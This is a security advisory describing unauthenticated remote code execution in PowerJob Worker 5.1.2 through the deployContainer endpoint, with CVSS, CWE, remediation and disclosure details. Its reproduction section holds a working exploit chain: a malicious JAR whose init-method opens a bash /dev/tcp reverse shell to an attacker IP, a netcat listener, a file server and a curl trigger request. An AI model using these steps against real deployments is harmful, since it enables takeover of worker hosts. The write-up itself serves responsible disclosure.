PowerJob Worker Unauthenticated Remote Code Execution via /worker/deployContainer (Arbitrary JAR Loading)
The PowerJob Worker exposes the deployContainer handler on its HTTP transport port 27777 with no authentication whatsoever. An attacker submits an arbitrary URL; the Worker downloads that JAR and loads it via URLClassLoader + Spring ClassPathXmlApplicationContext, executing arbitrary code during the Spring init-method → Worker RCE. The default docker-compose publishes this port to the host.
Precondition (honest statement): the Worker must be running (27777 listening). In the default configuration the Worker validates at startup that its app is registered on the server (/server/assert); if the app is not registered, the Worker fails to start and 27777 is not listening (verified: the Java process exits with code 1). Therefore a strictly fresh "docker-compose up with no console setup" state is not directly exploitable. However, normal operation of PowerJob necessarily requires the app to be registered and the Worker to be online (otherwise the system schedules no jobs), so any deployment actually in use inherently satisfies the precondition, after which the exploit is zero-credential. By contrast, the sibling finding PJ-08 (server /friend/process) has no such precondition — the server binds 10010 at startup unconditionally.
- Product: PowerJob Worker (
powerjob-worker, deployed via the officialpowerjob-worker-samplesimage) - Affected versions: 5.1.2 (the Worker transport-layer zero-authentication design has been carried over from earlier releases)
- Default deployment:
docker-compose.ymlworker service, HTTP protocol, port 27777 (PowerJobWorkerConfig.java:34)
| Item | Value |
|---|---|
| Entry point | POST http://<worker>:27777/worker/deployContainer |
| Handler | powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), no authentication) |
| Download | OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...) |
| Load | OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh() |
Request body ServerDeployContainerRequest (fields containerId/containerName/version/downloadURL).
- The Worker↔Server transport layer has no token/signature authentication; the
WorkerActorhandler fully trustsdownloadURL. OmsContainerFactorydownloads the JAR from an arbitrary URL and immediately callsOmsJarContainer.init():URLClassLoaderload + Spring contextrefresh()→ malicious code runs during class/Bean initialization.
Precondition: the Worker is running and 27777 is listening (satisfied by any production/demo deployment; if the operator followed the official flow and created the sample app, the Worker is online). For reproduction, the Worker can be started with --powerjob.worker.allow-lazy-connect-server=true to skip the app-registration check (not recommended in production; note the switch only affects whether the Worker comes online — it does not change the missing authentication on the open port).
- The attacker hosts an HTTP file server serving a malicious JAR. The JAR structure (matching the requirements of
OmsJarContainer.init()):oms-worker-container.propertieswithPACKAGE_NAME=com.evilcom/evil/Exploit.class— a class exposing a Springinit-method(e.g.run()) that executes a commandoms-worker-container-spring-context.xml—<bean class="com.evil.Exploit" init-method="run"/>
- Send
POST /worker/deployContainerto the Worker port 27777 with body{"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}. - The Worker downloads the JAR →
OmsJarContainer.init():OhMyClassLoader.load()loads the class (does not run static initializers), thenClassPathXmlApplicationContext.refresh()instantiates the bean and invokes the init-method → arbitrary command execution (with the Worker's runtime privileges). - Additional: the script handler
AbstractScriptProcessor.java:118-123also supports downloading from an arbitrary URL → Worker-side SSRF.
No output echo: the
deployContainerhandler returnsvoid, so the HTTP response carries no command output (verified: empty body). For interactive command execution the primary technique is a reverse shell (see Reproduction below); the marker-file variant is only a local, non-interactive verification.
Environment: JDK 21, source-built powerjob-worker-samples-5.1.2.jar, Worker listening on 192.168.49.128:27777 (started with --powerjob.worker.allow-lazy-connect-server=true to skip app registration).
Primary — reverse shell (interactive command execution):
The malicious JAR's Exploit.run() (Spring init-method) spawns a reverse shell. Since there is no output echo, this is the effective way to obtain interactive command execution on the Worker host.
# 1) Attacker listens first:
nc -lvnp 7878
# 2) Evil JAR construction — Exploit.run() runs a bash reverse shell
package com.evil;
public class Exploit {
public void run() {
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
"bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"}); // LHOST:LPORT
}
}
# oms-worker-container.properties : PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
# <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000 # host evil.jar
# 3) Trigger (no credentials):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
"containerId": 3, "containerName": "evil", "version": "3",
"downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
Alternatively, use the script to verify: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878
PoC key point:
OhMyClassLoader.load()only callsloadClass(), which does not run static initializers; the actual execution point is the Spring init-method invoked byClassPathXmlApplicationContext.refresh(). The malicious JAR must therefore carry the Spring XML and declareinit-method. The reverse shell must run via/bin/bash -cbecause/bin/sh(dash) does not parse/dev/tcp.
- Complete control of the Worker node (steal job parameters/code, read/write job results, pivot to business systems that consume job output).
- Impact boundary: Worker process / host.
- Add mutual authentication to the transport layer; allow
deployContainerto be triggered only by a trusted Server and validate the source. - Restrict
downloadURLto trusted internal addresses; verify the JAR hash/signature before loading.
- CWE: CWE-94 (Improper Control of Generation of Code) / CWE-502 (Deserialization of Untrusted Data / untrusted loading)
- CVSS:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H= 9.8 Critical
- Analysis:
PowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md(PJ-09) - Reproduction: verified locally (
192.168.49.128:27777, no credentials → Worker RCE); see## 6. Reproduction - PoC:
PowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py(auto-build JAR + host + trigger,--reverse-shell,-p/--proxy) - Submission: together with PJ-08/PJ-12 via the PowerJob
SECURITY.mdchannel (Tidelift / tengjiqi@gmail.com / GitHub Security Advisory)